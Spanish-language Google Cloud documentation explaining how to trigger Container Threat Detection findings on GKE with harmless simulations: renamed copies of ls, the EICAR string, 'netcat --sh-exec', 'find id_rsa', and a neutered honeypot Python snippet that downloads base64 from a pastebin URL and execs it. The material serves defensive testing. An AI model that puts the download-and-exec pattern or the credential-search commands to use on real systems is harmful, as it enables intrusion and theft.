Probar la detección de amenazas de contenedores

En esta página, se explica cómo verificar que Container Threat Detection funcione. Para ello, activa de forma intencional los detectores y verifica de los resultados. La detección de amenazas a contenedores es un servicio integrado de los niveles Premium y Enterprise de Security Command Center. Para ver los resultados de Container Threat Detection, debe estar habilitada en la configuración de Servicios del Security Command Center.

Antes de comenzar

Para detectar amenazas potenciales a tus contenedores, debes asegurarte de que tus clústeres estén en una versión compatible de Google Kubernetes Engine (GKE). Para obtener más información, consulta Usa una versión de GKE compatible.

Habilita los detectores

Los detectores Added Binary Executed, Added Library Loaded, Execution: Program Run with Disallowed HTTP Proxy Env y Exfiltration: Launch Remote File Copy Tools in Container están inhabilitados de forma predeterminada. Para probar esos detectores, debes habilitarlos de forma explícita:

  1. Verifica el estado del detector:

    export PROJECT=PROJECT_ID
gcloud alpha scc settings services describe \
    --service=CONTAINER_THREAT_DETECTION \
    --project=${PROJECT}

  2. Habilita el detector Added Binary Executed:

    gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_BINARY_EXECUTED \
    --project=${PROJECT}

  3. Habilita el detector Added Library Loaded:

    gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_LIBRARY_LOADED \
    --project=${PROJECT}

  4. Habilita el detector Execution: Program Run with Disallowed HTTP Proxy Env:

    gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
    --project=${PROJECT}

  5. Habilita el detector Exfiltration: Launch Remote File Copy Tools in Container:

    gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
    --project=${PROJECT}

Configure las variables de entorno

Para probar los detectores, usa la consola de Google Cloud y Cloud Shell. Puedes establecer variables de entorno en Cloud Shell para facilitar la ejecución de los comandos. Las siguientes variables se usan para probar todos los detectores de la detección de amenazas a contenedores.

  1. Ve a la consola de Google Cloud.

    Ve a la consola de Google Cloud.

  2. Selecciona el proyecto que contiene el contenedor que deseas usar para probar.

  3. Haz clic en Activate Cloud Shell (Activar Cloud Shell).

  4. En Cloud Shell, configura las variables de entorno:

    1. La zona en la que se encuentra tu clúster:

      export ZONE=CLUSTER_ZONE

    2. El proyecto en el que se encuentra tu contenedor:

      export PROJECT=PROJECT_ID

    3. El nombre del clúster:

      export CLUSTER_NAME=CLUSTER_NAME

Se establecen las variables. En las siguientes secciones, se incluyen instrucciones para probar los detectores de amenazas de contenedores.

Se ejecutó el objeto binario agregado

Para activar un resultado binario agregado, descarta un objeto binario en tu contenedor y ejecútalo. En este ejemplo, se implementa la última imagen de Ubuntu 24.04, se copia /bin/ls en otra ubicación y, luego, se ejecuta. La ejecución del objeto binario es inesperada porque la copia del objeto binario no era parte de la imagen del contenedor original, incluso cuando esa imagen está en Ubuntu 24.04, y los contenedores están destinados a ser inmutables.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Suelta un objeto binario y ejecútalo:

    • Nodo x86:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

    • Nodo ARM:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

En este procedimiento de prueba, se debería crear un hallazgo ejecutado de objeto binario agregado que se puede ver en Security Command Center, y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, Container Threat Detection filtra temporalmente los resultados de binario agregado. Para ver todos los resultados de Added Binary Executed mientras se configura un contenedor, agrega el prefijo ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Se cargó la biblioteca agregada

Para activar un resultado de carga de la biblioteca agregada, descarta una biblioteca en tu contenedor y, luego, cárgala. En este ejemplo, se implementa la última imagen de Ubuntu 24.04, se copia /lib/x86_64-linux-gnu/libc.so.6 en otra ubicación y, luego, se carga con ld. La biblioteca cargada es inesperada porque la copia de la biblioteca no formaba parte de la imagen del contenedor original, incluso si esa imagen está en Ubuntu 24.04, y los contenedores están destinados a ser inmutables.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Descarta una biblioteca y usa ld para cargarla:

    • Nodo x86:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

    • Nodo ARM:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

En este procedimiento de prueba, se debería crear una biblioteca agregada cargada que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Empresarial de Security Command Center a nivel de la organización.

Para reducir el ruido, cuando creas un contenedor por primera vez, la detección de amenazas a contenedores filtra temporalmente los resultados de carga de bibliotecas agregadas. Para ver todos los resultados de carga de la biblioteca agregada mientras se configura un contenedor, agrega el prefijo ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Acceso a credenciales: Busca claves privadas o contraseñas

Para activar un resultado Credential Access: Search Private Keys or Passwords, se debe ejecutar un objeto binario capaz de buscar el contenido de un archivo dentro de un contenedor. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y le cambia el nombre a find (o a otra utilidad de búsqueda adecuada, como grep). Luego, se ejecuta el objeto binario con argumentos que especifican un patrón de búsqueda que indica claves privadas o contraseñas, o patrones de contenido que sugieren contraseñas o secretos. Esta acción se marca como sospechosa porque imita el comportamiento que se observa cuando se intenta ubicar información sensible, como claves o contraseñas privadas, dentro de un entorno de contenedor.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Ejecuta un binario de herramienta de búsqueda como find con los argumentos adecuados:

    • Nodo x86:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

    • Nodo ARM:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

En este procedimiento de prueba, se debería crear un hallazgo de Credential Access: Search Private Keys or Passwords que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activa el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, es posible que Container Threat Detection filtre temporalmente los resultados de Credential Access: Search Private Keys or Passwords. Para ver todos los hallazgos de Credential Access: Search Private Keys or Passwords mientras se configura un contenedor, agrega el prefijo ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Ejecución: Se agregó el ejecutable binario malicioso

Para activar un resultado de ejecución: Se agregó el ejecutable binario malicioso, descarta un objeto binario malicioso en tu contenedor y ejecútalo. En este ejemplo, se implementa la imagen más reciente de Ubuntu 24.04, se crea un archivo malicioso simulado y, luego, se ejecuta. La ejecución del objeto binario es inesperada porque el objeto binario malicioso simulado no formaba parte de la imagen del contenedor original, y el objeto binario es un archivo de prueba EICAR, un archivo que la inteligencia de amenazas clasifica como malicioso.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Suelta el objeto binario EICAR y ejecútalo:

    • Nodo x86:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

    • Nodo ARM:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

En este procedimiento de prueba, se debería crear un hallazgo de ejecución: Se ejecutó un objeto binario malicioso agregado que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para la detección de amenazas a contenedores. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, Container Threat Detection filtra temporalmente los resultados de Execution: Added Malicious Binary Executed. Para ver todos los resultados de Ejecución: Se agregó un objeto binario malicioso ejecutado mientras se configura un contenedor, agrega el prefijo ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Ejecución: Escape de contenedor

Para activar un resultado de ejecución: Escape de contenedor, coloca un objeto binario en tu contenedor y ejecútalo. En este ejemplo, se implementa la última imagen de Ubuntu 24.04, se copia /bin/ls en otra ubicación, se le cambia el nombre a una herramienta sospechosa (botb-linux-amd64) y se ejecuta con argumentos adicionales. Esta acción se considera sospechosa porque esta ejecución simula un comportamiento coherente con un intento de escape de contenedor.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Suelta un objeto binario de la herramienta de explotación de contenedores, como botb-linux-amd64, y ejecútalo:

    • Nodo x86:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

    • Nodo ARM:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

En este procedimiento de prueba, se debería crear un resultado de ejecución: Escape de contenedor que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para la detección de amenazas a contenedores. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, es posible que la Detección de amenazas a contenedores filtre temporalmente los resultados de Ejecución: Escape de contenedor. Para ver todos los resultados de Execution: Container Escape mientras se configura un contenedor, antepone ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Ejecución: Ejecución de la herramienta de ataque de Kubernetes

Para activar un resultado de ejecución: ejecución de herramienta de ataque de Kubernetes, coloca un objeto binario en tu contenedor y ejecútalo. En este ejemplo, se implementa la última imagen de Ubuntu 24.04, se copia /bin/ls en otra ubicación, se le cambia el nombre a una herramienta sospechosa (amicontained) y se ejecuta. Esta acción se considera sospechosa porque simula un comportamiento coherente con un posible intento de ejecución de una herramienta de ataque de Kubernetes.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Suelta un objeto binario de la herramienta de ataque de Kubernetes, como amicontained, y ejecútalo:

    • Nodo x86:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

    • Nodo ARM:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Este procedimiento de prueba debería crear un resultado de ejecución: ejecución de herramienta de ataque de Kubernetes que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para la detección de amenazas a contenedores. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, es posible que Container Threat Detection filtre temporalmente los resultados de Execution: Kubernetes Attack Tool Execution. Para ver todos los resultados de Execution: Kubernetes Attack Tool Execution mientras se configura un contenedor, prefija el nombre del contenedor o del pod con ktd-test, como en el ejemplo.

Ejecución: Ejecución de la herramienta de reconocimiento local

Para activar un resultado Execution: Local Reconnaissance Tool Execution, coloca un objeto binario en tu contenedor y ejecútalo. En este ejemplo, se implementa la última imagen de Ubuntu 24.04, se copia /bin/ls en otra ubicación, se le cambia el nombre a una herramienta sospechosa (linenum.sh) y se ejecuta. Esta acción se considera sospechosa porque ejecutar el binario con el nombre cambiado simula un comportamiento coherente con un intento de reconocimiento local.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Introduce un objeto binario de la herramienta de reconocimiento local, como linenum.sh, y ejecútalo:

    • Nodo x86:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

    • Nodo ARM:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

En este procedimiento de prueba, se debería crear un hallazgo de ejecución: ejecución de la herramienta de reconocimiento local que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para la detección de amenazas a contenedores. La visualización de resultados en Cloud Logging solo está disponible si activa el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, es posible que la Detección de amenazas a contenedores filtre temporalmente los resultados de Execution: Local Reconnaissance Tool Execution. Para ver todos los resultados de Execution: Local Reconnaissance Tool Execution mientras se configura un contenedor, agrega el prefijo ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Ejecución: Se ejecutó un código Python malicioso

Para activar el resultado "Ejecución: Python malicioso ejecutado", puedes ejecutar Python en el siguiente procedimiento en tu contenedor.

El procedimiento implementa la imagen de Python más reciente, copia el código de Python que parece malicioso y, luego, lo ejecuta. Para activar una detección, el código de Python debe parecer malicioso para el detector.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Ejecuta la siguiente secuencia de comandos en un contenedor nuevo.

    Este código de Python se originó en un honeypot. Sin embargo, se modificó para que no ejecute el objeto binario malicioso. Ejecutar la secuencia de comandos no generará actividad maliciosa en tu contenedor. El objeto binario en la URL a la que se hace referencia no existe, y si intentas seguirla, se produce un error 404. Esta situación es esperable. El intento de descargar, decodificar y ejecutar un objeto binario con una secuencia de comandos intercalada es lo que activa la detección.

    • Nodo x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

    • Nodo ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Este procedimiento de prueba crea un resultado de ejecución: Python malicioso ejecutado que puedes ver en Security Command Center y en Cloud Logging si configuraste el registro para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: Se ejecutó un objeto binario malicioso modificado

Para activar un resultado de ejecución: Se ejecutó un objeto binario malicioso modificado, modifica un objeto binario malicioso en tu contenedor y ejecútalo. En este ejemplo, se implementa la imagen más reciente de Ubuntu 24.04, se modifica /bin/ls a un archivo malicioso de prueba EICAR y, luego, se ejecuta. La ejecución del objeto binario es inesperada porque el /bin/ls creado se modifica durante el tiempo de ejecución del contenedor como un objeto binario malicioso de prueba de EICAR, y el objeto binario de EICAR es un archivo malicioso conocido según la inteligencia de amenazas.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Suelta el objeto binario EICAR y ejecútalo:

    • Nodo x86:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

    • Nodo ARM:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

En este procedimiento de prueba, se debería crear un hallazgo de ejecución: objeto binario malicioso modificado que se puede ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, Container Threat Detection filtra temporalmente los resultados de Ejecución: Objeto binario malicioso modificado ejecutado. Para ver todos los resultados de Ejecución: Objeto binario malicioso modificado ejecutado mientras se configura un contenedor, agrega el prefijo ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Ejecución: Ejecución de código remoto de Netcat en un contenedor

Para activar un evento Execution: Netcat Remote Code Execution In Container, se debe presentar y ejecutar dentro del contenedor un objeto binario capaz de comunicarse con la red (como netcat o una copia con otro nombre de otra utilidad). En este ejemplo, se implementa la última imagen de Ubuntu 24.04 como base. Copia el objeto binario /bin/ls y le cambia el nombre a netcat (una utilidad de red). Luego, se ejecuta este objeto binario con el nombre cambiado con los argumentos adecuados para la interacción de red. Esta actividad se marca como sospechosa porque imita el comportamiento que se observa a menudo durante los intentos reales de ejecución de código remoto en entornos de contenedores.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Introduce un objeto binario de herramienta de comunicación de red, como netcat, y ejecútalo con los argumentos adecuados:

    • Nodo x86:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

    • Nodo ARM:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

En este procedimiento de prueba, se debería crear un hallazgo de Execution: Netcat Remote Code Execution In Container que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activa el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, es posible que Container Threat Detection filtre temporalmente los resultados de Execution: Netcat Remote Code Execution In Container. Para ver todos los hallazgos de Execution: Netcat Remote Code Execution In Container mientras se configura un contenedor, agrega el prefijo ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Ejecución: Se ejecuta el programa con un entorno de proxy HTTP no permitido

Para activar un resultado Execution: Program Run with Disallowed HTTP Proxy Env, ejecuta un programa dentro de un contenedor y establece una variable de entorno de proxy HTTP en un valor no permitido. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. Se copia la utilidad /bin/ls y se le cambia el nombre a /tmp/curl. Luego, este objeto binario con nombre cambiado se ejecuta con un valor no permitido establecido para una variable de entorno de proxy HTTP (por ejemplo, HTTP_PROXY, http_proxy). La combinación de la ejecución del programa y la presencia de un entorno de proxy HTTP no permitido se marca como sospechosa, ya que sugiere un intento de comunicación a través de un proxy no autorizado.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Ejecuta un objeto binario compatible con la red, como curl, y ejecútalo con una variable de entorno de proxy HTTP no permitida:

    • Nodo x86:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

    • Nodo ARM:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

En este procedimiento de prueba, se debería crear un hallazgo de Execution: Program Run with Disallowed HTTP Proxy Env que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activa el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, es posible que Container Threat Detection filtre temporalmente los resultados de Execution: Program Run with Disallowed HTTP Proxy Env. Para ver todos los hallazgos de Execution: Program Run with Disallowed HTTP Proxy Env mientras se configura un contenedor, agrega el prefijo ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Robo de información: Lanza herramientas de copia remota de archivos en el contenedor

Para activar un resultado Exfiltration: Launch Remote File Copy Tools In Container, ejecuta una herramienta común de copia de archivos remotos dentro de un contenedor. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. Se copia la utilidad /bin/ls, se le cambia el nombre a /tmp/rsync y, luego, se ejecuta para recuperar un archivo de una fuente remota y potencialmente maliciosa. La ejecución de una herramienta de este tipo con argumentos de recuperación de archivos remotos dentro de un contenedor se marca como sospechosa, ya que podría indicar un intento de descargar y ejecutar código malicioso o robar datos.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Ejecuta una herramienta de copia de archivos remotos, como rsync, y ejecútala:

    • Nodo x86:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

    • Nodo ARM:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

En este procedimiento de prueba, se debería crear un hallazgo de Exfiltration: Launch Remote File Copy Tools In Container que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activa el nivel Premium o Enterprise de Security Command Center.

